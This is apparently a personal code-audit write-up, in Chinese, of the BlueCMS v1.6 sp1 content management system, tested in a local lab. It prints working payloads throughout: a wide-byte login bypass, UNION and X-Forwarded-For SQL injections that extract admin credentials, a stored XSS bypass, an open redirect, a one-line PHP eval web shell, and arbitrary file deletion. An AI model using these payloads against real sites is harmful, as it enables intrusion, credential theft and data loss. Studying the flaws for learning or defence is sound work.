一 环境准备
BlueCMS v1.6 sp1
phpstudy php5.6.9+apache+mysql
二 环境搭建
phpstudy+
1.把下好的BlueCMS
源码文件bluecms_src
放到phpStudy
的WWW
目录下
2.访问本地:http://localhost/bluecms_src/
, 能看到项目文件
3.访问地址:http://localhost/bluecms_src/uploads/install/
就会进入到安装界面,按照提示配置好参数,注意数据库用户名和密码要与mysql匹配
4.再访问:http://localhost/bluecms_src/uploads/
,可以看到已经安装好了
三 黑盒测试
1.登入框存在万能密码
%df’) or 1=1#
2.数据库备份文件爆破
系统设置处
访问路径localhost/bluecms_src/uploads/data/backup/20240131.sql
直接下载了sql文件
里面也有很多敏感信息,管理员账号密码邮箱
四 白盒审计
1.SQL注入
ok我们先拿seay源来漏扫一下
无敌多
我们先看一下 ad_js.php 文件
getone() 是自定义的查询数据库的函数,跟进一下,可以看到插入到数据库查询语句中的 $ad_id 除了 trim 去掉两边空格没有任何的过滤,
因而导致了数字型SQL注入,虽然 ad_js.php 还包含了 common.inc.php 文件,common.inc.php 进行了 addslashes($_GET) 转义,但是由于SQL语句中的变量没有使用单引号保护,addslashes 也同时失去了作用
我们直接上手
http://localhost/bluecms_src/uploads/ad_js.php?ad_id=-1%20order%20by%208
由此我们可以发现列数是7
下面我们要找回显点
/localhost/bluecms_src/uploads/ad_js.php?ad_id=-1%20union%20select%201,2,3,4,5,6,7
根据查看源代码 我们可以发现回显点在最后
那来看一下当前数据库
localhost/bluecms_src/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,database();
查看表
/localhost/bluecms_src/uploads/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()
2.INSERT型sql注入
guest_book.php
77行处
这里有个$online_ip
, 我们跟踪一下
// include/common.fun.php文件106行处
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
要构造http头,加个X-FORWARDED-FOR
3.XFF头注入、伪造ip
看一下 /uploads/include/common.fun.php 代码
/**
* 获取用户IP
*/
function getip(){
if (getenv('HTTP_CLIENT_IP')){
$ip = getenv('HTTP_CLIENT_IP');
}elseif (getenv('HTTP_X_FORWARDED_FOR')) {
//获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}elseif (getenv('HTTP_X_FORWARDED')) {
$ip = getenv('HTTP_X_FORWARDED');
}elseif (getenv('HTTP_FORWARDED_FOR')){
$ip = getenv('HTTP_FORWARDED_FOR');
}elseif (getenv('HTTP_FORWARDED')){
$ip = getenv('HTTP_FORWARDED');
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
$ip 的值从 HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR 等变量中获得,HTTP_CLIENT_IP 这个环境变量没有成标准,很多服务器没法获取。
而第二个 HTTP_X_FORWARDED_FOR 可以通过 HTTP 请求头来修改
seay源全局搜索getip
可以发现 除了函数定义以外一共有两处
来看下comment.php
getip() 获取到的 $ip,直接插入到了SQL语句中,没有过滤就执行了,这里是存在SQL注入的。
从 comment.php 代码可以推断出,SQL注入出现在对文章进行评论的地方。在模拟发布文章时出现一点问题,发布文章时一定选择新闻分类,但是管理员和普通用户都不能创建分类,只好先把限制分类不能为空的代码注释掉。
首页->会员中心->本地新闻->发布新闻
先评论测试一下,看一下数据表记录的字段默认值
回显位置在 content 字段,所以可以构造 X-Forwarded-For 值注入,
先补充前一次查询的 ip 和 is_check 字段完成第一次插入,再构造第二次插入,同时要注意闭合原本语句中的单引号。
评论时进行抓包改包,可以看到成功注入并且在评论列表有回显,查到数据库是 bluecms,直接查一下管理员用户名及密码哈希值也可以成功获取。
如此执行的话 完整 sql 语句是,显然这里的 ip 字段也可以控制,可以在注入的同时达到伪造 ip 的效果
$sql = INSERT INTO ".table('blue_comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check)
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1'),('','2','2','1','6',(select concat(admin_name,':',pwd) from blue_admin),'1','1', '$is_check')";
4.XFF头注入2
getip() 函数出现的另一处 common.inc.php
getip() 赋值给变量 $online_ip,再全局搜索这个变量,发现在留言板界面变量也是没有经过过滤,直接插入查询语句,存在SQL注入
那么我们来全局搜索一下$online_ip
我们进行留言测试时发现无论是否留言都会弹出留言内容不能为空
我们要在前端guest_book.htm注释这段代码
因为显然回显位置在 content 字段,所以构造一次插入语句就可以了,可以看到成功注出数据库
X-Forwarded-For: 1',database())-- -
5.宽字节注入
我们可以看到common.inc.php 数据库编码使用的是 gb2312,这有可能导致宽字节注入
找到管理员登录的 bluecms_v1.6_sp1\uploads\admin\login.php,发现验证用户账号密码的函数为 check_admin
在 bluecms_v1.6_sp1\uploads\admin\include\common.fun.php 文件中找到了 check_admin 函数定义,SQL语句变量使用单引号保护,
并且 login.php 还包含了 bluecms_v1.6_sp1\uploads\admin\include\common.inc.php,这里是将 $_POST 数据进行 addslashes 转义的,刚好可以利用 %df 让转义的反斜线失去作用
因为在浏览器输入 %df 会被 urlencode,所以应该抓包发送
我们看到已经登录成功了
6.存储型XSS
在 user.php 文件,用户发布新闻功能,发现 content 没有使用 htmlspecialchars() 函数,而是 filter_data()
那我们来找一下定义函数
function filter_data($str)
{
$str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
return $str;
}
我们在 /uploads/include/common.fun.php 找到函数定义代码,发现只过滤了 script,iframe,frame,meta,link 等,这里可以用 a,img 等标签绕过
<img src=1 onerror=alert('ooii')>
7.任意URL跳转
在 user.php 中,很明显 $act == 'do_login' 是登录功能,看到有一个 $from 变量,再结合登录成功后显示回到该变量指向参数,可以猜测这个 $from 保存来源 url,方便用户登陆后回到原来浏览的页面
奇怪的是,这里还进行了base64解码。
那么我们可以尝试利用一下
将 http://www.baidu.com 编码为 aHR0cDovL3d3dy5iYWlkdS5jb20= 改包放包后可以看到页面成功跳转到百度
8.文件包含
user.php 的支付功能,可以通过 $_POST['pay'] 控制文件包含的路径,但是后面拼接了 /index.php
$_POST['pay']
并没有做多余的安全检测,而是直接进行拼接,但是后面有index.php
文件,所以我们的重点是如何截断。如果php版本低于5.3.4
且magic_quotes_gpc=off
则可以使用%00
截断。还可以使用系统文件路径长度限制来进行截断。
<?php @eval($_POST['a']);?>
上传成功 我们可以看下上传的路径
9.任意文件删除
user.php 的编辑个人资料功能,直接调用 unlink 函数删除 $_POST['face_pic3'],没有进行相应的检查,存在任意文件删除漏洞
发现成功删除头像了
10.任意文件删除2
在代码审计中我们可以看到有这个报告
unlink
删除文件,传入$id
,先删除数据库里的,然后判断本地有没有此文件,如果有,unlink
函数也对其进行删除
http://localhost/bluecms_src/uploads/publish.php?act=del_pic&id=wy.txt
五 总结
第一次进行代码审计 ,参考的文章比较多
我觉得工具只能起到辅助作用 主要自己要花时间研究
发现一些问题时回溯变量,或者直接挖掘功能点的漏洞
这里碰到的洞也不是那么高大上,基本都是一些比较基本的洞